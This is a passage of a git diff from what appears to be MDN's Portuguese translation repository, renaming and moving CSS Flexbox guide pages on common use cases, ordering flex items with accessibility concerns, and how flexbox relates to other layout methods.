- -

In reality we also often use Flexbox for jobs that might be better done by Grid Layout, as a fallback for Grid, and also in order to get alignment capabilities. This is something that may well change once Box Alignment is implemented in Block Layout. In this guide I look at some of the typical things you might use flexbox for today.

- - - -

A common pattern for navigation is to have a list of items displayed as a horizontal bar. This pattern, as basic as it seems, was difficult to achieve before flexbox. It forms the most simple of flexbox examples, and could be considered the ideal flexbox use case.

- -

When we have a set of items that we want to display horizontally, we may well end up with additional space. We need to decide what to do with that space, and have a couple of options. We either display the space outside of the items — therefore spacing them out with white space between or around them — or we absorb the extra space inside the items and therefore need a method of allowing the items to grow and take up this space.

- -

Espaço distribuído fora dos itens

- -

To distribute the space between or around the items we use the alignment properties in flexbox, and the {{cssxref("justify-content")}} property. You can read more about this property in Aligning Items in a flex container, which deals with aligning items on the main axis.

- -

In the below live example we display the items at their natural size and by using justify-content: space-between make equal amounts of space between the items. You can change how the space is distributed using the space-around value, or where supported, space-evenly. You could also use flex-start to place the space at the end of the items, flex-end to place it before them, or center to centre the navigation items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

- -

Espaço distribuído dentro dos itens

- -

A different pattern for navigation would be to distribute the available space within the items themselves, rather than create space between them. In this case we would use the {{cssxref("flex")}} properties to allow items to grow and shrink in proportion to one another as described in Controlling ratios of flex items along the main axis.

- -

If I wanted all of my navigation items to have equal width, then I might use flex: auto, which is the shorthand for flex: 1 1 auto — all items grow and shrink from a flex-basis of auto. This would mean that the longer item would have more space.

- -

In the live example below try changing flex: auto to flex: 1. This is the shorthand for flex: 1 1 0 and causes all of the items become the same width, as they are working from a flex-basis of 0 allowing all of the space to be distributed evenly.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

- -

Dividir navegação

- -

Another way to align items on the main axis is to use auto margins. This enables the design pattern of a navigation bar where one group of items are aligned left and another group aligned right.

- -

Here we are using the auto margins technique described in Using auto margins for main axis alignment. The items are aligned on the main axis with flex-start as this is the initial behaviour of flexbox, and we are aligning the item on the right by giving it a left margin of auto. You can move the class from one item to another to change where the split happens.

- -

Also in this example we are using margins on the flex items to create a gap between items, and a negative margin on the container in order that the items still remain flush with the right and left edges. Until the gap properties from the Box Alignment specification are implemented in flexbox, we have to use margins in this way if we want to create a gutter between items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

- -

Centrar item

- -

Before flexbox, developers would joke that the hardest problem in web design was vertical centering. This has now been made straightforward using the alignment properties in flexbox, as the following live example shows.

- -

You can play with the alignment, aligning the item to the start with flex-start or end with flex-end.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

- -

In the future we may not need to make a container a flex container just to centre a single item, as the Box Alignment properties will ultimately be implemented in Block layout. For now however, if you need to properly centre one thing inside another, flexbox is the way to do it. As in the above example, make a container into a flex container, and then use either align-items on the parent element or target the flex item itself with align-self.

- - - -

Whether you use flexbox or CSS Grid to lay out a list of card components, these layout methods only work on direct children of the flex or grid component. This means that if you have variable amounts of content, the card will stretch to the height of the grid area or flex container. Any content inside uses regular block layout, meaning that on a card with less content the footer will rise up to the bottom of the content rather than stick to the bottom of the card.

- -

Two card components showing that the internals of the component do not stretch with the wrapper.

- -

Flexbox can solve this. We make the card a flex container, with {{cssxref("flex-direction")}}: column. We then set the content area to flex: 1, which is the shorthand for flex: 1 1 auto — the item can grow and shrink from a flex basis of auto. As this is the only item that can grow, it takes up all available space in the flex container and pushes the footer to the bottom. If you remove the flex property from the live example you will see how the footer then moves up to sit directly under the content.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

- -

Objetos de multimédia

- -

The media object is a common pattern in web design — this pattern has an image or other element to one side and text to the right. Ideally a media object should be able to be flipped — moving the image from left to right.

- -

We see this pattern everywhere, used for comments, and anywhere we need to display images and descriptions. With flexbox we can allow the part of the media object containing the image to take its sizing information from the image, and then the body of the media object flexes to take up the remaining space.

- -

In the live example below you can see our media object. I have used the alignment properties to align the items on the cross axis to flex-start, and then set the .content flex item to flex: 1. As with our column layout card pattern above, using flex: 1 means this part of the card can grow.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

- -

Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.

- -

To prevent the image growing too large, add a {{cssxref("max-width")}} to the image. As that side of the media object is using the initial values of flexbox it can shrink but not grow, and uses a flex-basis of auto. Any {{cssxref("width")}} or max-width applied to the image will become the flex-basis.

- -
.image img {
-  max-width: 100px;
-}
-
- -

You could also allow both sides to grow and shrink in proportion. If you set both sides to flex: 1, they will grow and shrink from a {{cssxref("flex-basis")}} of 0, so you will end up with two equal-sized columns. You could either take the content as a guide and set both to flex: auto, in which case they would grow and shrink from the size of the content or any size applied directly to the flex items such as a width on the image.

- -
.media .content {
-  flex: 1;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to flex: 1 and the content side to flex: 3. This will mean they use a flex-basis of auto but distribute that space at different rates according to the flex-grow factor you have assigned. The flex properties we use to do this are described in detail in the guide Controlling ratios of flex items along the main axis.

- -
.media .content {
-  flex: 3;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

Flipping the media object

- -

To switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. The media object now displays the other way around. I have achieved this in the live example by adding a class of flipped alongside the existing .media class. This means you can see how the display changes by removing that class from the html.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

- -

Controlos de formulário

- -

Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.

- -

Flexbox makes this type of layout easy to achieve. I have contained my <button> and <input> field in a wrapper which I have given a border and set to display: flex. I have then set the align-items property to center so that the fields stay aligned with each other. I then use the flex properties to allow the <input> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

- -

You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

- -

Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.

- -

Conclusão

- -

While exploring the above patterns you have hopefully started to see how you can think through the best way to use flexbox to achieve the result that you want. Quite often you have more than one choice. Mix items that cannot stretch with those that can, use the content to inform the size, or allow flexbox to share out space in proportion. It’s up to you. 

- -

Think about the best way to present the content that you have and then see how flexbox or other layout methods can help you achieve it.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/ordenacao_dos_itens_flex/index.html b/files/pt-pt/web/css/css_flexible_box_layout/ordenacao_dos_itens_flex/index.html deleted file mode 100644 index b2bc22df09..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/ordenacao_dos_itens_flex/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Ordenação do itens Flex -slug: Web/CSS/CSS_Flexible_Box_Layout/ordenacao_dos_itens_flex -tags: - - Acessibilidade - - CSS - - Flex - - Guía - - direção - - flexbox - - ordem - - reverter -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items ---- -

{{CSSRef}}

- -

Os novos métodos de layout, tais como Flexbox e Grielha trazem com eles a possibilidade de controlar a ordem do conteúdo. Neste artigo, nós iremos analisar as maneiras pelas quais pode alterar a ordem visual do seu conteúdo quando utilizar o Flexbox. Nós também iremos considerar as implicações de reordenar itens de um ponto de vista de acessibilidade.

- -

Reverter a exibição dos itens

- -

The {{cssxref("flex-direction")}} property can take one of four values:

- - - -

The first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line.

- -

The items are displayed in a row starting on the left.

- -

The items are displayed as a column starting from the top

- -

The second two values reverse the items by switching the start and end lines.

- -

The items are displayed in reverse order starting on the right-hand line.

- -

The items are displayed in a column in reverse order starting at the bottom line.

- -

Remember that the start line relates to writing modes. The row-related examples above demonstrate how row and row-reverse work in a left-to-right language such as English. If you were working in a right-to-left language like Arabic then row would start on the right, row-reverse on the left.

- -

Flex containers with Arabic letters showing how row starts from the right hand side and row-reverse from the left.

- -

This can seem like a neat way to display things in reverse order however you should be mindful that the items are only visually displayed in reverse order. The specification says the following on this matter:

- -
-

“Nota: The reordering capabilities of flex layout intentionally affect only the visual rendering, leaving speech order and navigation based on the source order. This allows authors to manipulate the visual presentation while leaving the source order intact for non-CSS UAs and for linear models such as speech and sequential navigation.” - Ordering and Orientation

-
- -

If your items were links or some other element that the user could tab to, then the tabbing order would be the order that these items appear in the document source — not your visual order.

- -

If you are using a reverse value, or otherwise reordering your items, you should consider whether you actually need to change the logical order in the source. The specification continues with a warning not to use reordering to fix issues in your source:

- -
-

“Authors must not use order or the -reverse values of flex-flow/flex-direction as a substitute for correct source ordering, as that can ruin the accessibility of the document.”

-
- -
-

Nota: For some years Firefox had a bug whereby it would attempt to follow the visual order and not the source order, making it behave differently to other browsers. This has now been fixed. You should always take the source order as the logical order of the document as all up-to-date user agents will be following the specification and doing so.

-
- -

In the live example below I have added a focus style in order that as you tab from link to link you can see which is highlighted. If you change the order using flex-direction you can see how the tab order continues to follow the order that the items are listed in the source.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/order.html", '100%', 500)}}

- -

In the same way that changing the value of flex-direction does not change the order in which items are navigated to, changing this value does not change paint order. It is a visual reversal of the items only.

- -

A propriedade order

- -

In addition to reversing the order in which flex items are visually displayed, you can target individual items and change where they appear in the visual order with the {{cssxref("order")}} property.

- -

The order property is designed to lay the items out in ordinal groups. What this means is that items are assigned an integer that represents their group. The items are then placed in the visual order according to that integer, lowest values first. If more than one item has the same integer value, then within that group the items are laid out as per source order.

- -

As an example, I have 5 flex items, and assign order values as follows:

- - - -

These items would be displayed on the page in the following order:

- - - -

Items have a number showing their source order which has been rearranged.

- -

You can play around with the values in this live example below and see how that changes the order. Also, try changing flex-direction to row-reverse and see what happens — the start line is switched so the ordering begins from the opposite side.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/flex-direction.html", '100%', 440)}}

- -

Flex items have a default order value of 0, therefore items with an integer value greater than 0 will be displayed after any items that have not been given an explicit order value.

- -

You can also use negative values with order, which can be quite useful. If you want to make one item display first, and leave the order of all other items unchanged, you can give that item an order of -1. As this is lower than 0 the item will always be displayed first.

- -

In the live code example below I have items laid out using Flexbox. By changing which item has the class active assigned to it in the HTML, you can change which item displays first and therefore becomes full width at the top of the layout, with the other items displaying below it.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/negative-order.html", '100%', 520)}}

- -

The items are displayed in what is described in the specification as order-modified document order. The value of the order property is taken into account before the items are displayed.

- -

Order also changes the paint order of the items; items with a lower value for order will be painted first and those with a higher value for order painted afterwards.

- -

A propriedade order e acessibilidade

- -

Use of the order property has exactly the same implications for accessibility as changing the direction with flex-direction. Using order changes the order in which items are painted, and the order in which they appear visually. It does not change the sequential navigation order of the items. Therefore if a user is tabbing between the items, they could find themselves jumping around your layout in a very confusing way.

- -

By tabbing around any of the live examples on this page, you can see how order is potentially creating a strange experience for anyone not using a pointing device of some kind. To read more about this disconnect of visual order and logical order and some of the potential problems it raises for accessibility, see the following resources.

- - - -

Casos de utilização para order

- -

There are sometimes places where the fact that the logical and therefore reading order of flex items is separate from the visual order, is helpful. Used carefully the order property can allow for some useful common patterns to be easily implemented.

- -

You might have a design, perhaps a card that will display a news item. The heading of the news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find content they wanted to read. The card also has a date; the finished design we want to create is something like this.

- -

A design component with a date, then heading and then content.

- -

Visually the date appears above the heading, in the source. However, if the card was read out by a screen reader I would prefer that the title was announced first and then the publication date. We can make this so using the order property.

- -

The card is going to be our flex container, with flex-direction set to column. I then give the date an order of -1. This pulls it up above the heading.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/usecase-order.html", '100%', 730)}}

- -

These small tweaks are the sort of cases where the order property makes sense. Keep the logical order as the reading and tab order of the document, and maintain that in the most accessible and structured fashion. Then use order for purely visual design tweaks. When doing so take care that you are not reordering items that could be accessed by the keyboard as a user is tabbing around. Especially when using newer layout methods you should ensure that your browser testing includes testing the site using keyboard only, rather than a mouse or touchscreen. You will quickly see if your development choices make getting around the content difficult.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html b/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html new file mode 100644 index 0000000000..b2bc22df09 --- /dev/null +++ b/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html @@ -0,0 +1,140 @@ +--- +title: Ordenação do itens Flex +slug: Web/CSS/CSS_Flexible_Box_Layout/ordenacao_dos_itens_flex +tags: + - Acessibilidade + - CSS + - Flex + - Guía + - direção + - flexbox + - ordem + - reverter +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items +--- +

{{CSSRef}}

+ +

Os novos métodos de layout, tais como Flexbox e Grielha trazem com eles a possibilidade de controlar a ordem do conteúdo. Neste artigo, nós iremos analisar as maneiras pelas quais pode alterar a ordem visual do seu conteúdo quando utilizar o Flexbox. Nós também iremos considerar as implicações de reordenar itens de um ponto de vista de acessibilidade.

+ +

Reverter a exibição dos itens

+ +

The {{cssxref("flex-direction")}} property can take one of four values:

+ + + +

The first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line.

+ +

The items are displayed in a row starting on the left.

+ +

The items are displayed as a column starting from the top

+ +

The second two values reverse the items by switching the start and end lines.

+ +

The items are displayed in reverse order starting on the right-hand line.

+ +

The items are displayed in a column in reverse order starting at the bottom line.

+ +

Remember that the start line relates to writing modes. The row-related examples above demonstrate how row and row-reverse work in a left-to-right language such as English. If you were working in a right-to-left language like Arabic then row would start on the right, row-reverse on the left.

+ +

Flex containers with Arabic letters showing how row starts from the right hand side and row-reverse from the left.

+ +

This can seem like a neat way to display things in reverse order however you should be mindful that the items are only visually displayed in reverse order. The specification says the following on this matter:

+ +
+

“Nota: The reordering capabilities of flex layout intentionally affect only the visual rendering, leaving speech order and navigation based on the source order. This allows authors to manipulate the visual presentation while leaving the source order intact for non-CSS UAs and for linear models such as speech and sequential navigation.” - Ordering and Orientation

+
+ +

If your items were links or some other element that the user could tab to, then the tabbing order would be the order that these items appear in the document source — not your visual order.

+ +

If you are using a reverse value, or otherwise reordering your items, you should consider whether you actually need to change the logical order in the source. The specification continues with a warning not to use reordering to fix issues in your source:

+ +
+

“Authors must not use order or the -reverse values of flex-flow/flex-direction as a substitute for correct source ordering, as that can ruin the accessibility of the document.”

+
+ +
+

Nota: For some years Firefox had a bug whereby it would attempt to follow the visual order and not the source order, making it behave differently to other browsers. This has now been fixed. You should always take the source order as the logical order of the document as all up-to-date user agents will be following the specification and doing so.

+
+ +

In the live example below I have added a focus style in order that as you tab from link to link you can see which is highlighted. If you change the order using flex-direction you can see how the tab order continues to follow the order that the items are listed in the source.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/order.html", '100%', 500)}}

+ +

In the same way that changing the value of flex-direction does not change the order in which items are navigated to, changing this value does not change paint order. It is a visual reversal of the items only.

+ +

A propriedade order

+ +

In addition to reversing the order in which flex items are visually displayed, you can target individual items and change where they appear in the visual order with the {{cssxref("order")}} property.

+ +

The order property is designed to lay the items out in ordinal groups. What this means is that items are assigned an integer that represents their group. The items are then placed in the visual order according to that integer, lowest values first. If more than one item has the same integer value, then within that group the items are laid out as per source order.

+ +

As an example, I have 5 flex items, and assign order values as follows:

+ + + +

These items would be displayed on the page in the following order:

+ + + +

Items have a number showing their source order which has been rearranged.

+ +

You can play around with the values in this live example below and see how that changes the order. Also, try changing flex-direction to row-reverse and see what happens — the start line is switched so the ordering begins from the opposite side.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/flex-direction.html", '100%', 440)}}

+ +

Flex items have a default order value of 0, therefore items with an integer value greater than 0 will be displayed after any items that have not been given an explicit order value.

+ +

You can also use negative values with order, which can be quite useful. If you want to make one item display first, and leave the order of all other items unchanged, you can give that item an order of -1. As this is lower than 0 the item will always be displayed first.

+ +

In the live code example below I have items laid out using Flexbox. By changing which item has the class active assigned to it in the HTML, you can change which item displays first and therefore becomes full width at the top of the layout, with the other items displaying below it.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/negative-order.html", '100%', 520)}}

+ +

The items are displayed in what is described in the specification as order-modified document order. The value of the order property is taken into account before the items are displayed.

+ +

Order also changes the paint order of the items; items with a lower value for order will be painted first and those with a higher value for order painted afterwards.

+ +

A propriedade order e acessibilidade

+ +

Use of the order property has exactly the same implications for accessibility as changing the direction with flex-direction. Using order changes the order in which items are painted, and the order in which they appear visually. It does not change the sequential navigation order of the items. Therefore if a user is tabbing between the items, they could find themselves jumping around your layout in a very confusing way.

+ +

By tabbing around any of the live examples on this page, you can see how order is potentially creating a strange experience for anyone not using a pointing device of some kind. To read more about this disconnect of visual order and logical order and some of the potential problems it raises for accessibility, see the following resources.

+ + + +

Casos de utilização para order

+ +

There are sometimes places where the fact that the logical and therefore reading order of flex items is separate from the visual order, is helpful. Used carefully the order property can allow for some useful common patterns to be easily implemented.

+ +

You might have a design, perhaps a card that will display a news item. The heading of the news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find content they wanted to read. The card also has a date; the finished design we want to create is something like this.

+ +

A design component with a date, then heading and then content.

+ +

Visually the date appears above the heading, in the source. However, if the card was read out by a screen reader I would prefer that the title was announced first and then the publication date. We can make this so using the order property.

+ +

The card is going to be our flex container, with flex-direction set to column. I then give the date an order of -1. This pulls it up above the heading.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/usecase-order.html", '100%', 730)}}

+ +

These small tweaks are the sort of cases where the order property makes sense. Keep the logical order as the reading and tab order of the document, and maintain that in the most accessible and structured fashion. Then use order for purely visual design tweaks. When doing so take care that you are not reordering items that could be accessed by the keyboard as a user is tabbing around. Especially when using newer layout methods you should ensure that your browser testing includes testing the site using keyboard only, rather than a mouse or touchscreen. You will quickly see if your development choices make getting around the content difficult.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html new file mode 100644 index 0000000000..83c570f33e --- /dev/null +++ b/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html @@ -0,0 +1,125 @@ +--- +title: Relação do flexbox com outros métodos de layout +slug: >- + Web/CSS/CSS_Flexible_Box_Layout/relação_do_flexbox_com_outros_métodos_de_layout +tags: + - CSS + - Guía + - Modo de Gravação + - alinhamento de caixa + - conteúdos + - exibição + - flexbox + - grelha +translation_of: >- + Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +--- +
{{CSSRef}}
+ +

Neste artigo, nós iremos ver como o Flexbox se encaixa com todos os outros módulos de CSS. Nós iremos saber quais as especificações que também precisa de ter em consideração se quiser aprender flexboxm, e saber por que o flexbox é diferente de alguns outros módulos.

+ +
+

Nota: CSS versions 1 and 2 were a single monolithic specification where all of CSS was defined in one large document. As CSS became a more feature rich language, maintaining one huge specification became problematic, with different parts of CSS moving on at different speeds. CSS was therefore modularised, and the various CSS Specifications are different modules that make up CSS today. These modules relate to each other, and are at different stages of development.

+
+ +

O módulo de alinhamento de caixa

+ +

For many people the first reason they start to look at flexbox is because of the ability to properly align flex items inside a flex container. Flexbox provides access to properties that allow the alignment of items on their cross axis and justification of items on the main axis.

+ +

These properties started life in the flexbox specification, but are now also part of the Especificação de Alinhamento de Caixa (inglês). This specification details how alignment works in all layout — not just flexbox. Box alignment deals with alignment and justification, and also distribution of space along an axis.

+ +

The reason that the Box alignment properties remain detailed in the flexbox specification as well as being in box alignment is to ensure that completion of the flexbox spec is not held up by box alignment, which has to detail these methods for all layout types. There is a note in the flexbox spec stating that in future, once it is completed, the definitions in Box Alignment Level 3 will supercede those of flexbox:

+ +
+

"Note: While the alignment properties are defined in CSS Box Alignment CSS-ALIGN-3, Flexible Box Layout reproduces the definitions of the relevant ones here so as to not create a normative dependency that may slow down advancement of the spec. These properties apply only to flex layout until CSS Box Alignment Level 3 is finished and defines their effect for other layout modes. Additionally, any new values defined in the Box Alignment module will apply to Flexible Box Layout; in otherwords, the Box Alignment module, once completed, will supercede the definitions here."

+
+ +

In a later article in this series — Aligning items in a flex container — we will take a thorough look at how the Box Alignment properties apply to flex items.

+ +

As propriedades de gap

+ +

A recent addition to the Box Alignment specification has been the {{cssxref("row-gap")}} and {{cssxref("column-gap")}} properties, long with the shorthand {{cssxref("gap")}}. These properties were initially defined in the CSS Grid specification and named grid-row-gap, grid-column-gap and grid-gap. They have been renamed and moved to Box Alignment in order that they can be used in all layout methods — this will ultimately include flexbox. Until browsers implement the gap properties for flexbox, {{cssxref("margin")}}s have to be used to create gaps between items.

+ +

Modos de Gravação

+ +

In the Basic concepts of flexbox article, I explained that flexbox is writing mode aware. Writing modes are fully detailed in the CSS Writing Modes specification, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding block and inline directions is key to new layout methods.

+ +

It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. 

+ +

Os modes de gravação

+ +

The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.

+ + + +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

+ +

Note that sideways-rl and sideways-lr have support only in Firefox currently. There are also some known issues with regard to writing-mode and flexbox. You can see more information on browser support in the MDN documentation for writing-mode. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!

+ +

Note that you would not normally use CSS and the writing-mode property to change an entire document to another writing mode. This would be done via HTML, by add a dir and lang attribute to the html element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.

+ +

Flexbox e outros métodos de layout

+ +

The flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.

+ +

An element set to display: flex behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.

+ +

With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with inline-block or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.

+ +

In this next live example the child elements have been floated, and then their container has had display: flex added. If you remove display: flex, you should see that the .box element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply display: flex and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

+ +

Flexbox e Layout de Grelha

+ +

CSS Grid Layout and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored.

+ +

You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.

+ +

Flex e grelha — qual é a diferença?

+ +

A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing as each other?

+ +

The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. In the below example I have a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

+ +

If we create a very similar layout using Grid, we can control the layout in both rows and columns.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

+ +

These examples point to another key differences between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.

+ +

In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.

+ +

As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.

+ +

For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.

+ +

Flexbox e exibição: conteúdos

+ +

The contents value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:

+ +
+

“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”

+
+ +

This value of display controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.

+ +

In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.

+ +

By adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the display: contents line to see it return.

+ +

Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.

+ +

Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove display: contents in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. 

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

+ +

Browser support for display:contents is limited and required for this demo to work. Firefox supports display: contents already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.

diff --git "a/files/pt-pt/web/css/css_flexible_box_layout/rela\303\247\303\243o_do_flexbox_com_outros_m\303\251todos_de_layout/index.html" "b/files/pt-pt/web/css/css_flexible_box_layout/rela\303\247\303\243o_do_flexbox_com_outros_m\303\251todos_de_layout/index.html" deleted file mode 100644 index 83c570f33e..0000000000 --- "a/files/pt-pt/web/css/css_flexible_box_layout/rela\303\247\303\243o_do_flexbox_com_outros_m\303\251todos_de_layout/index.html" +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Relação do flexbox com outros métodos de layout -slug: >- - Web/CSS/CSS_Flexible_Box_Layout/relação_do_flexbox_com_outros_métodos_de_layout -tags: - - CSS - - Guía - - Modo de Gravação - - alinhamento de caixa - - conteúdos - - exibição - - flexbox - - grelha -translation_of: >- - Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods ---- -
{{CSSRef}}
- -

Neste artigo, nós iremos ver como o Flexbox se encaixa com todos os outros módulos de CSS. Nós iremos saber quais as especificações que também precisa de ter em consideração se quiser aprender flexboxm, e saber por que o flexbox é diferente de alguns outros módulos.

- -
-

Nota: CSS versions 1 and 2 were a single monolithic specification where all of CSS was defined in one large document. As CSS became a more feature rich language, maintaining one huge specification became problematic, with different parts of CSS moving on at different speeds. CSS was therefore modularised, and the various CSS Specifications are different modules that make up CSS today. These modules relate to each other, and are at different stages of development.

-
- -

O módulo de alinhamento de caixa

- -

For many people the first reason they start to look at flexbox is because of the ability to properly align flex items inside a flex container. Flexbox provides access to properties that allow the alignment of items on their cross axis and justification of items on the main axis.

- -

These properties started life in the flexbox specification, but are now also part of the Especificação de Alinhamento de Caixa (inglês). This specification details how alignment works in all layout — not just flexbox. Box alignment deals with alignment and justification, and also distribution of space along an axis.

- -

The reason that the Box alignment properties remain detailed in the flexbox specification as well as being in box alignment is to ensure that completion of the flexbox spec is not held up by box alignment, which has to detail these methods for all layout types. There is a note in the flexbox spec stating that in future, once it is completed, the definitions in Box Alignment Level 3 will supercede those of flexbox:

- -
-

"Note: While the alignment properties are defined in CSS Box Alignment CSS-ALIGN-3, Flexible Box Layout reproduces the definitions of the relevant ones here so as to not create a normative dependency that may slow down advancement of the spec. These properties apply only to flex layout until CSS Box Alignment Level 3 is finished and defines their effect for other layout modes. Additionally, any new values defined in the Box Alignment module will apply to Flexible Box Layout; in otherwords, the Box Alignment module, once completed, will supercede the definitions here."

-
- -

In a later article in this series — Aligning items in a flex container — we will take a thorough look at how the Box Alignment properties apply to flex items.

- -

As propriedades de gap

- -

